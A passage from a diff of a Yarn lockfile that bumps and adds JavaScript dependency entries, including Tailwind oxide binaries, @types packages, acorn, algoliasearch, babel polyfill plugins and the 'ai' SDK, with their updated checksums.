"@tailwindcss/oxide-darwin-x64": "npm:4.1.7" - "@tailwindcss/oxide-freebsd-x64": "npm:4.1.7" - "@tailwindcss/oxide-linux-arm-gnueabihf": "npm:4.1.7" - "@tailwindcss/oxide-linux-arm64-gnu": "npm:4.1.7" - "@tailwindcss/oxide-linux-arm64-musl": "npm:4.1.7" - "@tailwindcss/oxide-linux-x64-gnu": "npm:4.1.7" - "@tailwindcss/oxide-linux-x64-musl": "npm:4.1.7" - "@tailwindcss/oxide-wasm32-wasi": "npm:4.1.7" - "@tailwindcss/oxide-win32-arm64-msvc": "npm:4.1.7" - "@tailwindcss/oxide-win32-x64-msvc": "npm:4.1.7" +"@tailwindcss/oxide@npm:4.1.14": + version: 4.1.14 + resolution: "@tailwindcss/oxide@npm:4.1.14" + dependencies: + "@tailwindcss/oxide-android-arm64": "npm:4.1.14" + "@tailwindcss/oxide-darwin-arm64": "npm:4.1.14" + "@tailwindcss/oxide-darwin-x64": "npm:4.1.14" + "@tailwindcss/oxide-freebsd-x64": "npm:4.1.14" + "@tailwindcss/oxide-linux-arm-gnueabihf": "npm:4.1.14" + "@tailwindcss/oxide-linux-arm64-gnu": "npm:4.1.14" + "@tailwindcss/oxide-linux-arm64-musl": "npm:4.1.14" + "@tailwindcss/oxide-linux-x64-gnu": "npm:4.1.14" + "@tailwindcss/oxide-linux-x64-musl": "npm:4.1.14" + "@tailwindcss/oxide-wasm32-wasi": "npm:4.1.14" + "@tailwindcss/oxide-win32-arm64-msvc": "npm:4.1.14" + "@tailwindcss/oxide-win32-x64-msvc": "npm:4.1.14" detect-libc: "npm:^2.0.4" - tar: "npm:^7.4.3" + tar: "npm:^7.5.1" dependenciesMeta: "@tailwindcss/oxide-android-arm64": optional: true @@ -3243,20 +3472,20 @@ __metadata: optional: true "@tailwindcss/oxide-win32-x64-msvc": optional: true - checksum: 10c0/ac8eb42faa1fa34f0a23130c3c369bf4685c78bc6ab8cf2307d0b6c66023909ff411c328a3e4de86fced6dd26be46e783b620e3f614195e8147a779e224922a3 + checksum: 10c0/7fdf5345272d0348624cd003f431f10715372d585f0180d32d3c8dd18f5417cdfe7e8c4e86fc504fa1aefd19324fb4c4b174bbefdc054882ae6919ed1160d86c languageName: node linkType: hard "@tailwindcss/postcss@npm:^4.1.7": - version: 4.1.7 - resolution: "@tailwindcss/postcss@npm:4.1.7" + version: 4.1.14 + resolution: "@tailwindcss/postcss@npm:4.1.14" dependencies: "@alloc/quick-lru": "npm:^5.2.0" - "@tailwindcss/node": "npm:4.1.7" - "@tailwindcss/oxide": "npm:4.1.7" + "@tailwindcss/node": "npm:4.1.14" + "@tailwindcss/oxide": "npm:4.1.14" postcss: "npm:^8.4.41" - tailwindcss: "npm:4.1.7" - checksum: 10c0/3779c34001dfa2741efa037089b9331807e15946e766decc983baef8ba5d4d519a1b86e7f27fffcf1a028bda19e0fdf5a87479a89b9e1cd2d7df5769273777c8 + tailwindcss: "npm:4.1.14" + checksum: 10c0/f1befe8b92ed7c162328fe359f9c118ba7edbd37e32e0d62956aed9c7891d1107c70c2dfb4dc4fae8c5acd5442529851d3762549974c973b3c4ef6c043444c03 languageName: node linkType: hard @@ -3274,26 +3503,26 @@ __metadata: languageName: node linkType: hard -"@tybys/wasm-util@npm:^0.9.0": - version: 0.9.0 - resolution: "@tybys/wasm-util@npm:0.9.0" +"@tybys/wasm-util@npm:^0.10.1": + version: 0.10.1 + resolution: "@tybys/wasm-util@npm:0.10.1" dependencies: tslib: "npm:^2.4.0" - checksum: 10c0/f9fde5c554455019f33af6c8215f1a1435028803dc2a2825b077d812bed4209a1a64444a4ca0ce2ea7e1175c8d88e2f9173a36a33c199e8a5c671aa31de8242d + checksum: 10c0/b255094f293794c6d2289300c5fbcafbb5532a3aed3a5ffd2f8dc1828e639b88d75f6a376dd8f94347a44813fd7a7149d8463477a9a49525c8b2dcaa38c2d1e8 languageName: node linkType: hard "@types/body-parser@npm:*": - version: 1.19.5 - resolution: "@types/body-parser@npm:1.19.5" + version: 1.19.6 + resolution: "@types/body-parser@npm:1.19.6" dependencies: "@types/connect": "npm:*" "@types/node": "npm:*" - checksum: 10c0/aebeb200f25e8818d8cf39cd0209026750d77c9b85381cdd8deeb50913e4d18a1ebe4b74ca9b0b4d21952511eeaba5e9fbbf739b52731a2061e206ec60d568df + checksum: 10c0/542da05c924dce58ee23f50a8b981fee36921850c82222e384931fda3e106f750f7880c47be665217d72dbe445129049db6eb1f44e7a06b09d62af8f3cca8ea7 languageName: node linkType: hard -"@types/bonjour@npm:^3.5.9": +"@types/bonjour@npm:^3.5.13": version: 3.5.13 resolution: "@types/bonjour@npm:3.5.13" dependencies: @@ -3302,7 +3531,7 @@ __metadata: languageName: node linkType: hard -"@types/connect-history-api-fallback@npm:^1.3.5": +"@types/connect-history-api-fallback@npm:^1.5.4": version: 1.5.4 resolution: "@types/connect-history-api-fallback@npm:1.5.4" dependencies: @@ -3359,57 +3588,57 @@ __metadata: languageName: node linkType: hard -"@types/estree@npm:*, @types/estree@npm:^1.0.0, @types/estree@npm:^1.0.6": - version: 1.0.7 - resolution: "@types/estree@npm:1.0.7" - checksum: 10c0/be815254316882f7c40847336cd484c3bc1c3e34f710d197160d455dc9d6d050ffbf4c3bc76585dba86f737f020ab20bdb137ebe0e9116b0c86c7c0342221b8c +"@types/estree@npm:*, @types/estree@npm:^1.0.0, @types/estree@npm:^1.0.8": + version: 1.0.8 + resolution: "@types/estree@npm:1.0.8" + checksum: 10c0/39d34d1afaa338ab9763f37ad6066e3f349444f9052b9676a7cc0252ef9485a41c6d81c9c4e0d26e9077993354edf25efc853f3224dd4b447175ef62bdcc86a5 languageName: node linkType: hard "@types/express-serve-static-core@npm:*, @types/express-serve-static-core@npm:^5.0.0": - version: 5.0.6 - resolution: "@types/express-serve-static-core@npm:5.0.6" + version: 5.1.0 + resolution: "@types/express-serve-static-core@npm:5.1.0" dependencies: "@types/node": "npm:*" "@types/qs": "npm:*" "@types/range-parser": "npm:*" "@types/send": "npm:*" - checksum: 10c0/aced8cc88c1718adbbd1fc488756b0f22d763368d9eff2ae21b350698fab4a77d8d13c3699056dc662a887e43a8b67a3e8f6289ff76102ecc6bad4a7710d31a6 + checksum: 10c0/1918233c68a0c69695f78331af1aed5fb5190f91da6309318f700adeb78573be840b5d206cb8eda804b65a9989fdeccdaaf84c1e95adc3615052749224b64519 languageName: node linkType: hard -"@types/express-serve-static-core@npm:^4.17.33": - version: 4.19.6 - resolution: "@types/express-serve-static-core@npm:4.19.6" +"@types/express-serve-static-core@npm:^4.17.21, @types/express-serve-static-core@npm:^4.17.33": + version: 4.19.7 + resolution: "@types/express-serve-static-core@npm:4.19.7" dependencies: "@types/node": "npm:*" "@types/qs": "npm:*" "@types/range-parser": "npm:*" "@types/send": "npm:*" - checksum: 10c0/4281f4ead71723f376b3ddf64868ae26244d434d9906c101cf8d436d4b5c779d01bd046e4ea0ed1a394d3e402216fabfa22b1fa4dba501061cd7c81c54045983 + checksum: 10c0/c239df87863b8515e68dcb18203a9e2ba6108f86fdc385090284464a57a6dca6abb60a961cb6a73fea2110576f4f8acefa1cb06b60d14b6b0e5104478e7d57d1 languageName: node linkType: hard "@types/express@npm:*": - version: 5.0.2 - resolution: "@types/express@npm:5.0.2" + version: 5.0.3 + resolution: "@types/express@npm:5.0.3" dependencies: "@types/body-parser": "npm:*" "@types/express-serve-static-core": "npm:^5.0.0" "@types/serve-static": "npm:*" - checksum: 10c0/300575201753e0f0e0a3fa113b60f58a78d88a237639a44fdb2834e48350f9d1bf017c2dd6c6411c0e89e470a813535e4dda7b753438b362260a25b91c79f582 + checksum: 10c0/f0fbc8daa7f40070b103cf4d020ff1dd08503477d866d1134b87c0390bba71d5d7949cb8b4e719a81ccba89294d8e1573414e6dcbb5bb1d097a7b820928ebdef languageName: node linkType: hard -"@types/express@npm:^4.17.13": - version: 4.17.22 - resolution: "@types/express@npm:4.17.22" +"@types/express@npm:^4.17.21": + version: 4.17.23 + resolution: "@types/express@npm:4.17.23" dependencies: "@types/body-parser": "npm:*" "@types/express-serve-static-core": "npm:^4.17.33" "@types/qs": "npm:*" "@types/serve-static": "npm:*" - checksum: 10c0/15c10a5ebb40a0356baa95ed374a2150d862786c9fccbdd724df12acc9c8cb08fbe1d34b446b1bcef2dbe5305cb3013fb39fba791baa54ef6df8056482776abb + checksum: 10c0/60490cd4f73085007247e7d4fafad0a7abdafa34fa3caba2757512564ca5e094ece7459f0f324030a63d513f967bb86579a8682af76ae2fd718e889b0a2a4fe8 languageName: node linkType: hard @@ -3451,9 +3680,9 @@ __metadata: linkType: hard "@types/http-errors@npm:*": - version: 2.0.4 - resolution: "@types/http-errors@npm:2.0.4" - checksum: 10c0/494670a57ad4062fee6c575047ad5782506dd35a6b9ed3894cea65830a94367bd84ba302eb3dde331871f6d70ca287bfedb1b2cf658e6132cd2cbd427ab56836 + version: 2.0.5 + resolution: "@types/http-errors@npm:2.0.5" + checksum: 10c0/00f8140fbc504f47356512bd88e1910c2f07e04233d99c88c854b3600ce0523c8cd0ba7d1897667243282eb44c59abb9245959e2428b9de004f93937f52f7c15 languageName: node linkType: hard @@ -3491,13 +3720,20 @@ __metadata: languageName: node linkType: hard -"@types/json-schema@npm:*, @types/json-schema@npm:^7.0.15, @types/json-schema@npm:^7.0.4, @types/json-schema@npm:^7.0.5, @types/json-schema@npm:^7.0.8, @types/json-schema@npm:^7.0.9": +"@types/json-schema@npm:*, @types/json-schema@npm:^7.0.15, @types/json-schema@npm:^7.0.8, @types/json-schema@npm:^7.0.9": version: 7.0.15 resolution: "@types/json-schema@npm:7.0.15" checksum: 10c0/a996a745e6c5d60292f36731dd41341339d4eeed8180bb09226e5c8d23759067692b1d88e5d91d72ee83dfc00d3aca8e7bd43ea120516c17922cbcb7c3e252db languageName: node linkType: hard +"@types/katex@npm:^0.16.0": + version: 0.16.7 + resolution: "@types/katex@npm:0.16.7" + checksum: 10c0/68dcb9f68a90513ec78ca0196a142e15c2a2c270b1520d752bafd47a99207115085a64087b50140359017d7e9c870b3c68e7e4d36668c9e348a9ef0c48919b5a + languageName: node + linkType: hard + "@types/mdast@npm:^4.0.0, @types/mdast@npm:^4.0.2": version: 4.0.4 resolution: "@types/mdast@npm:4.0.4" @@ -3529,20 +3765,20 @@ __metadata: linkType: hard "@types/node-forge@npm:^1.3.0": - version: 1.3.11 - resolution: "@types/node-forge@npm:1.3.11" + version: 1.3.14 + resolution: "@types/node-forge@npm:1.3.14" dependencies: "@types/node": "npm:*" - checksum: 10c0/3d7d23ca0ba38ac0cf74028393bd70f31169ab9aba43f21deb787840170d307d662644bac07287495effe2812ddd7ac8a14dbd43f16c2936bbb06312e96fc3b9 + checksum: 10c0/da6158fd34fa7652aa7f8164508f97a76b558724ab292f13c257e39d54d95d4d77604e8fb14dc454a867f1aeec7af70118294889195ec4400cecbb8a5c77a212 languageName: node linkType: hard "@types/node@npm:*": - version: 22.15.21 - resolution: "@types/node@npm:22.15.21" + version: 24.7.2 + resolution: "@types/node@npm:24.7.2" dependencies: - undici-types: "npm:~6.21.0" - checksum: 10c0/f092bbccda2131c2b2c8f720338080aa0ef1d928f5f1062c03954a4f7dafa7ee3ed29bc3e51bd4e2584473b3d943c637a2b39ad7174898970818270187cf10c1 + undici-types: "npm:~7.14.0" + checksum: 10c0/03f662f10e4b89bc97016e067101cbabe55025b54c24afb581fb50992d5eeaaf417bdae34bbc668ae8759d3cdbbbadf35fc8b9b29d26f52ede2525d48e919e49 languageName: node linkType: hard @@ -3553,13 +3789,6 @@ __metadata: languageName: node linkType: hard -"@types/parse-json@npm:^4.0.0": - version: 4.0.2 - resolution: "@types/parse-json@npm:4.0.2" - checksum: 10c0/b1b863ac34a2c2172fbe0807a1ec4d5cb684e48d422d15ec95980b81475fac4fdb3768a8b13eef39130203a7c04340fc167bae057c7ebcafd7dec9fe6c36aeb1 - languageName: node - linkType: hard - "@types/prismjs@npm:^1.26.0": version: 1.26.5 resolution: "@types/prismjs@npm:1.26.5" @@ -3614,18 +3843,18 @@ __metadata: linkType: hard "@types/react@npm:*": - version: 19.1.5 - resolution: "@types/react@npm:19.1.5" + version: 19.2.2 + resolution: "@types/react@npm:19.2.2" dependencies: csstype: "npm:^3.0.2" - checksum: 10c0/e0811aadc65cf4030e2418c7975b524f126db806bacb85cffdbe5e50c3606e9a5ffe89ffe6bf9c945e03f5e8d5ed992686bc6bb478db1f3127cc50933f648e1e + checksum: 10c0/f830b1204aca4634ce3c6cb3477b5d3d066b80a4dd832a4ee0069acb504b6debd2416548a43a11c1407c12bc60e2dc6cf362934a18fe75fe06a69c0a98cba8ab languageName: node linkType: hard -"@types/retry@npm:0.12.0": - version: 0.12.0 - resolution: "@types/retry@npm:0.12.0" - checksum: 10c0/7c5c9086369826f569b83a4683661557cab1361bac0897a1cefa1a915ff739acd10ca0d62b01071046fe3f5a3f7f2aec80785fe283b75602dc6726781ea3e328 +"@types/retry@npm:0.12.2": + version: 0.12.2 + resolution: "@types/retry@npm:0.12.2" + checksum: 10c0/07481551a988cc90b423351919928b9ddcd14e3f5591cac3ab950851bb20646e55a10e89141b38bc3093d2056d4df73700b22ff2612976ac86a6367862381884 languageName: node linkType: hard @@ -3639,16 +3868,25 @@ __metadata: linkType: hard "@types/send@npm:*": - version: 0.17.4 - resolution: "@types/send@npm:0.17.4" + version: 1.2.0 + resolution: "@types/send@npm:1.2.0" + dependencies: + "@types/node": "npm:*" + checksum: 10c0/66d34fbb49c9a7848244eb227c39d499c205875d7f6b3a7536b9c6b1e44a7764ee33ade9bc14188454c05caa7b2c583c823e8b5a1afdaa51141307cd5b3660c0 + languageName: node + linkType: hard + +"@types/send@npm:<1": + version: 0.17.5 + resolution: "@types/send@npm:0.17.5" dependencies: "@types/mime": "npm:^1" "@types/node": "npm:*" - checksum: 10c0/7f17fa696cb83be0a104b04b424fdedc7eaba1c9a34b06027239aba513b398a0e2b7279778af521f516a397ced417c96960e5f50fcfce40c4bc4509fb1a5883c + checksum: 10c0/a86c9b89bb0976ff58c1cdd56360ea98528f4dbb18a5c2287bb8af04815513a576a42b4e0e1e7c4d14f7d6ea54733f6ef935ebff8c65e86d9c222881a71e1f15 languageName: node linkType: hard -"@types/serve-index@npm:^1.9.1": +"@types/serve-index@npm:^1.9.4": version: 1.9.4 resolution: "@types/serve-index@npm:1.9.4" dependencies: @@ -3657,18 +3895,18 @@ __metadata: languageName: node linkType: hard -"@types/serve-static@npm:*, @types/serve-static@npm:^1.13.10": - version: 1.15.7 - resolution: "@types/serve-static@npm:1.15.7" +"@types/serve-static@npm:*, @types/serve-static@npm:^1.15.5": + version: 1.15.9 + resolution: "@types/serve-static@npm:1.15.9" dependencies: "@types/http-errors": "npm:*" "@types/node": "npm:*" - "@types/send": "npm:*" - checksum: 10c0/26ec864d3a626ea627f8b09c122b623499d2221bbf2f470127f4c9ebfe92bd8a6bb5157001372d4c4bd0dd37a1691620217d9dc4df5aa8f779f3fd996b1c60ae + "@types/send": "npm:<1" + checksum: 10c0/3dc98f41085afbc1ea4768e764b891a6b917f01f0db8a1610a6bc8f0e989015c22af71a05f7b0ae336456169f86e863a60273ddd64c0fa13855ae4ed50ed7789 languageName: node linkType: hard -"@types/sockjs@npm:^0.3.33": +"@types/sockjs@npm:^0.3.36": version: 0.3.36 resolution: "@types/sockjs@npm:0.3.36" dependencies: @@ -3714,13 +3952,13 @@ __metadata: linkType: hard "@types/webxr@npm:*": - version: 0.5.23 - resolution: "@types/webxr@npm:0.5.23" - checksum: 10c0/4108d29844cbbae2e765df2948b7af1db5dcf1fd15f10c300186e1a711c0eb5ca2d9e0205c58043b35d46474e1405805c11381bb12318e15ff77cb57243767e1 + version: 0.5.24 + resolution: "@types/webxr@npm:0.5.24" + checksum: 10c0/ff59ffd390d06ca3f89ab2531d583ac10bc5e2ab82e5a01ecc40fbc365224a3375e7caa5b14649cf6141db21fb024940da7ad2bd8faa3cd497a6665257cb53b5 languageName: node linkType: hard -"@types/ws@npm:^8.5.5": +"@types/ws@npm:^8.5.10": version: 8.18.1 resolution: "@types/ws@npm:8.18.1" dependencies: @@ -3752,6 +3990,13 @@ __metadata: languageName: node linkType: hard +"@vercel/oidc@npm:3.0.3": + version: 3.0.3 + resolution: "@vercel/oidc@npm:3.0.3" + checksum: 10c0/c8eecb1324559435f4ab8a955f5ef44f74f546d11c2ddcf28151cb636d989bd4b34e0673fd8716cb21bb21afb34b3de663bacc30c9506036eeecbcbf2fd86241 + languageName: node + linkType: hard + "@webassemblyjs/ast@npm:1.14.1, @webassemblyjs/ast@npm:^1.14.1": version: 1.14.1 resolution: "@webassemblyjs/ast@npm:1.14.1" @@ -3904,9 +4149,9 @@ __metadata: linkType: hard "@webgpu/types@npm:*": - version: 0.1.65 - resolution: "@webgpu/types@npm:0.1.65" - checksum: 10c0/cc9de41ae18432f292b5e41b1ef1198d200317fd3af424893a75b861fdcff272083e7cb2d51ba79b4deee4d1e93ecec8063d9e6f87d57c69217b48505971c858 + version: 0.1.66 + resolution: "@webgpu/types@npm:0.1.66" + checksum: 10c0/4af272f0133d893d13c4d69a48c3b0458c408f20d57c9fbc8995fdeb38d3a6d8df0898660fa7c484e4b82cccc968ddc9c977c25fe3e1f8ff25b26f0790719589 languageName: node linkType: hard @@ -3941,6 +4186,15 @@ __metadata: languageName: node linkType: hard +"acorn-import-phases@npm:^1.0.3": + version: 1.0.4 + resolution: "acorn-import-phases@npm:1.0.4" + peerDependencies: + acorn: ^8.14.0 + checksum: 10c0/338eb46fc1aed5544f628344cb9af189450b401d152ceadbf1f5746901a5d923016cd0e7740d5606062d374fdf6941c29bb515d2bd133c4f4242d5d4cd73a3c7 + languageName: node + linkType: hard + "acorn-jsx@npm:^5.0.0": version: 5.3.2 resolution: "acorn-jsx@npm:5.3.2" @@ -3959,16 +4213,16 @@ __metadata: languageName: node linkType: hard -"acorn@npm:^8.0.0, acorn@npm:^8.0.4, acorn@npm:^8.11.0, acorn@npm:^8.14.0": - version: 8.14.1 - resolution: "acorn@npm:8.14.1" +"acorn@npm:^8.0.0, acorn@npm:^8.0.4, acorn@npm:^8.11.0, acorn@npm:^8.15.0": + version: 8.15.0 + resolution: "acorn@npm:8.15.0" bin: acorn: bin/acorn - checksum: 10c0/dbd36c1ed1d2fa3550140000371fcf721578095b18777b85a79df231ca093b08edc6858d75d6e48c73e431c174dcf9214edbd7e6fa5911b93bd8abfa54e47123 + checksum: 10c0/dec73ff59b7d6628a01eebaece7f2bdb8bb62b9b5926dcad0f8931f2b8b79c2be21f6c68ac095592adb5adb15831a3635d9343e6a91d028bbe85d564875ec3ec languageName: node linkType: hard -"address@npm:^1.0.1, address@npm:^1.1.2": +"address@npm:^1.0.1": version: 1.2.2 resolution: "address@npm:1.2.2" checksum: 10c0/1c8056b77fb124456997b78ed682ecc19d2fd7ea8bd5850a2aa8c3e3134c913847c57bcae418622efd32ba858fa1e242a40a251ac31da0515664fc0ac03a047d @@ -3976,9 +4230,9 @@ __metadata: linkType: hard "agent-base@npm:^7.1.0, agent-base@npm:^7.1.2": - version: 7.1.3 - resolution: "agent-base@npm:7.1.3" - checksum: 10c0/6192b580c5b1d8fb399b9c62bf8343d76654c2dd62afcb9a52b2cf44a8b6ace1e3b704d3fe3547d91555c857d3df02603341ff2cb961b9cfe2b12f9f3c38ee11 + version: 7.1.4 + resolution: "agent-base@npm:7.1.4" + checksum: 10c0/c2c9ab7599692d594b6a161559ada307b7a624fa4c7b03e3afdb5a5e31cd0e53269115b620fcab024c5ac6a6f37fa5eb2e004f076ad30f5f7e6b8b671f7b35fe languageName: node linkType: hard @@ -3992,6 +4246,20 @@ __metadata: languageName: node linkType: hard +"ai@npm:5.0.75, ai@npm:^5.0.30": + version: 5.0.75 + resolution: "ai@npm:5.0.75" + dependencies: + "@ai-sdk/gateway": "npm:2.0.0" + "@ai-sdk/provider": "npm:2.0.0" + "@ai-sdk/provider-utils": "npm:3.0.12" + "@opentelemetry/api": "npm:1.9.0" + peerDependencies: + zod: ^3.25.76 || ^4.1.8 + checksum: 10c0/6c9ced34f8f778ee3be37407fa89981fd5008c7a7a880c4e551e9475837ec176bbbb59945d2aac9b57516611ec320326a726353513cbd8be250696b7da93f805 + languageName: node + linkType: hard + "ajv-formats@npm:^2.1.1": version: 2.1.1 resolution: "ajv-formats@npm:2.1.1" @@ -4006,7 +4274,7 @@ __metadata: languageName: node linkType: hard -"ajv-keywords@npm:^3.4.1, ajv-keywords@npm:^3.5.2": +"ajv-keywords@npm:^3.5.2": version: 3.5.2 resolution: "ajv-keywords@npm:3.5.2" peerDependencies: @@ -4026,7 +4294,7 @@ __metadata: languageName: node linkType: hard -"ajv@npm:^6.12.2, ajv@npm:^6.12.5": +"ajv@npm:^6.12.5": version: 6.12.6 resolution: "ajv@npm:6.12.6" dependencies: @@ -4050,35 +4318,36 @@ __metadata: languageName: node linkType: hard -"algoliasearch-helper@npm:^3.22.6": - version: 3.25.0 - resolution: "algoliasearch-helper@npm:3.25.0" +"algoliasearch-helper@npm:^3.26.0": + version: 3.26.0 + resolution: "algoliasearch-helper@npm:3.26.0" dependencies: "@algolia/events": "npm:^4.0.1" peerDependencies: algoliasearch: ">= 3.1 < 6" - checksum: 10c0/932e1397e702f7722450e12a852f6f366aa581dfb1801d078153d591a94d5ccf7da4098cd381f8c684463638aca738f468ba7e968da6e97a7bba14870aa3c5df + checksum: 10c0/1b644ba6b5f2dcf46438f0200fc442c25725492f8e2fb046453c2b6c68403c0a8d128fd6f092a598ea7ce1a7737baa88bc466bc1cfc477f60105ab0c0c41bec2 languageName: node linkType: hard -"algoliasearch@npm:^5.14.2, algoliasearch@npm:^5.17.1": - version: 5.25.0 - resolution: "algoliasearch@npm:5.25.0" +"algoliasearch@npm:^5.28.0, algoliasearch@npm:^5.37.0": + version: 5.40.1 + resolution: "algoliasearch@npm:5.40.1" dependencies: - "@algolia/client-abtesting": "npm:5.25.0" - "@algolia/client-analytics": "npm:5.25.0" - "@algolia/client-common": "npm:5.25.0" - "@algolia/client-insights": "npm:5.25.0" - "@algolia/client-personalization": "npm:5.25.0" - "@algolia/client-query-suggestions": "npm:5.25.0" - "@algolia/client-search": "npm:5.25.0" - "@algolia/ingestion": "npm:1.25.0" - "@algolia/monitoring": "npm:1.25.0" - "@algolia/recommend": "npm:5.25.0" - "@algolia/requester-browser-xhr": "npm:5.25.0" - "@algolia/requester-fetch": "npm:5.25.0" - "@algolia/requester-node-http": "npm:5.25.0" - checksum: 10c0/fdf2b03c48415a7f284697bbe316bba41d4d6b0c5c76e886aa9841e69b8bc79305b0679d29dece71a347eef8ef3715980ed6a736febaca8f869b6551e470decf + "@algolia/abtesting": "npm:1.6.1" + "@algolia/client-abtesting": "npm:5.40.1" + "@algolia/client-analytics": "npm:5.40.1" + "@algolia/client-common": "npm:5.40.1" + "@algolia/client-insights": "npm:5.40.1" + "@algolia/client-personalization": "npm:5.40.1" + "@algolia/client-query-suggestions": "npm:5.40.1" + "@algolia/client-search": "npm:5.40.1" + "@algolia/ingestion": "npm:1.40.1" + "@algolia/monitoring": "npm:1.40.1" + "@algolia/recommend": "npm:5.40.1" + "@algolia/requester-browser-xhr": "npm:5.40.1" + "@algolia/requester-fetch": "npm:5.40.1" + "@algolia/requester-node-http": "npm:5.40.1" + checksum: 10c0/a33704372aace18a280c1fccb7e275bdef0f3ffb9f62d7b2bdf0cc4b81b650b92f2c49bf4245a11d36c9cc81a0385e4b04370d8463aac4f8f9429f6e0a46b561 languageName: node linkType: hard @@ -4117,9 +4386,9 @@ __metadata: linkType: hard "ansi-regex@npm:^6.0.1": - version: 6.1.0 - resolution: "ansi-regex@npm:6.1.0" - checksum: 10c0/a91daeddd54746338478eef88af3439a7edf30f8e23196e2d6ed182da9add559c601266dbef01c2efa46a958ad6f1f8b176799657616c702b5b02e799e7fd8dc + version: 6.2.2 + resolution: "ansi-regex@npm:6.2.2" + checksum: 10c0/05d4acb1d2f59ab2cf4b794339c7b168890d44dda4bf0ce01152a8da0213aca207802f930442ce8cd22d7a92f44907664aac6508904e75e038fa944d2601b30f languageName: node linkType: hard @@ -4133,9 +4402,9 @@ __metadata: linkType: hard "ansi-styles@npm:^6.1.0": - version: 6.2.1 - resolution: "ansi-styles@npm:6.2.1" - checksum: 10c0/5d1ec38c123984bcedd996eac680d548f31828bd679a66db2bdf11844634dde55fec3efa9c6bb1d89056a5e79c1ac540c4c784d592ea1d25028a92227d2f2d5c + version: 6.2.3 + resolution: "ansi-styles@npm:6.2.3" + checksum: 10c0/23b8a4ce14e18fb854693b95351e286b771d23d8844057ed2e7d083cd3e708376c3323707ec6a24365f7d7eda3ca00327fe04092e29e551499ec4c8b7bfac868 languageName: node linkType: hard @@ -4195,10 +4464,17 @@ __metadata: languageName: node linkType: hard -"at-least-node@npm:^1.0.0": +"async-function@npm:^1.0.0": version: 1.0.0 - resolution: "at-least-node@npm:1.0.0" - checksum: 10c0/4c058baf6df1bc5a1697cf182e2029c58cd99975288a13f9e70068ef5d6f4e1f1fd7c4d2c3c4912eae44797d1725be9700995736deca441b39f3e66d8dee97ef + resolution: "async-function@npm:1.0.0" + checksum: 10c0/669a32c2cb7e45091330c680e92eaeb791bc1d4132d827591e499cd1f776ff5a873e77e5f92d0ce795a8d60f10761dec9ddfe7225a5de680f5d357f67b1aac73 + languageName: node + linkType: hard + +"async-generator-function@npm:^1.0.0": + version: 1.0.0 + resolution: "async-generator-function@npm:1.0.0" + checksum: 10c0/2c50ef856c543ad500d8d8777d347e3c1ba623b93e99c9263ecc5f965c1b12d2a140e2ab6e43c3d0b85366110696f28114649411cbcd10b452a92a2318394186 languageName: node linkType: hard @@ -4242,39 +4518,39 @@ __metadata: languageName: node linkType: hard -"babel-plugin-polyfill-corejs2@npm:^0.4.10": - version: 0.4.13 - resolution: "babel-plugin-polyfill-corejs2@npm:0.4.13" +"babel-plugin-polyfill-corejs2@npm:^0.4.14": + version: 0.4.14 + resolution: "babel-plugin-polyfill-corejs2@npm:0.4.14" dependencies: - "@babel/compat-data": "npm:^7.22.6" - "@babel/helper-define-polyfill-provider": "npm:^0.6.4" + "@babel/compat-data": "npm:^7.27.7" + "@babel/helper-define-polyfill-provider": "npm:^0.6.5" semver: "npm:^6.3.1" peerDependencies: "@babel/core": ^7.4.0 || ^8.0.0-0 <8.0.0 - checksum: 10c0/b4a54561606d388e6f9499f39f03171af4be7f9ce2355e737135e40afa7086cf6790fdd706c2e59f488c8fa1f76123d28783708e07ddc84647dca8ed8fb98e06 + checksum: 10c0/d74cba0600a6508e86d220bde7164eb528755d91be58020e5ea92ea7fbb12c9d8d2c29246525485adfe7f68ae02618ec428f9a589cac6cbedf53cc3972ad7fbe languageName: node linkType: hard -"babel-plugin-polyfill-corejs3@npm:^0.11.0": - version: 0.11.1 - resolution: "babel-plugin-polyfill-corejs3@npm:0.11.1" +"babel-plugin-polyfill-corejs3@npm:^0.13.0": + version: 0.13.0 + resolution: "babel-plugin-polyfill-corejs3@npm:0.13.0" dependencies: - "@babel/helper-define-polyfill-provider": "npm:^0.6.3" - core-js-compat: "npm:^3.40.0" + "@babel/helper-define-polyfill-provider": "npm:^0.6.5" + core-js-compat: "npm:^3.43.0" peerDependencies: "@babel/core": ^7.4.0 || ^8.0.0-0 <8.0.0 - checksum: 10c0/025f754b6296d84b20200aff63a3c1acdd85e8c621781f2bd27fe2512d0060526192d02329326947c6b29c27cf475fbcfaaff8c51eab1d2bfc7b79086bb64229 + checksum: 10c0/5d8e228da425edc040d8c868486fd01ba10b0440f841156a30d9f8986f330f723e2ee61553c180929519563ef5b64acce2caac36a5a847f095d708dda5d8206d languageName: node linkType: hard -"babel-plugin-polyfill-regenerator@npm:^0.6.1": - version: 0.6.4 - resolution: "babel-plugin-polyfill-regenerator@npm:0.6.4" +"babel-plugin-polyfill-regenerator@npm:^0.6.5": + version: 0.6.5 + resolution: "babel-plugin-polyfill-regenerator@npm:0.6.5" dependencies: - "@babel/helper-define-polyfill-provider": "npm:^0.6.4" + "@babel/helper-define-polyfill-provider": "npm:^0.6.5" peerDependencies: "@babel/core": ^7.4.0 || ^8.0.0-0 <8.0.0 - checksum: 10c0/ebaaf9e4e53201c02f496d3f686d815e94177b3e55b35f11223b99c60d197a29f907a2e87bbcccced8b7aff22a807fccc1adaf04722864a8e1862c8845ab830a + checksum: 10c0/63aa8ed716df6a9277c6ab42b887858fa9f57a70cc1d0ae2b91bdf081e45d4502848cba306fb60b02f59f99b32fd02ff4753b373cac48ccdac9b7d19dd56f06d languageName: node linkType: hard @@ -4292,6 +4568,15 @@ __metadata: languageName: node linkType: hard +"baseline-browser-mapping@npm:^2.8.9": + version: 2.8.16 + resolution: "baseline-browser-mapping@npm:2.8.16" + bin: + baseline-browser-mapping: dist/cli.js + checksum: 10c0/e38a861f44236cfc5ba8bf9d4a024d37682e73efc3df3377e170a8a44303f466c0fce7fdc641029df27e47adb270b2f7cf29550b9be7dcdbeec18bc62858c9e9 + languageName: node + linkType: hard + "batch@npm:0.6.1": version: 0.6.1 resolution: "batch@npm:0.6.1" @@ -4333,7 +4618,7 @@ __metadata: languageName: node linkType: hard -"bonjour-service@npm:^1.0.11": +"bonjour-service@npm:^1.2.1": version: 1.3.0 resolution: "bonjour-service@npm:1.3.0" dependencies: @@ -4383,21 +4668,21 @@ __metadata: linkType: hard "brace-expansion@npm:^1.1.7": - version: 1.1.11 - resolution: "brace-expansion@npm:1.1.11" + version: 1.1.12 + resolution: "brace-expansion@npm:1.1.12" dependencies: balanced-match: "npm:^1.0.0" concat-map: "npm:0.0.1" - checksum: 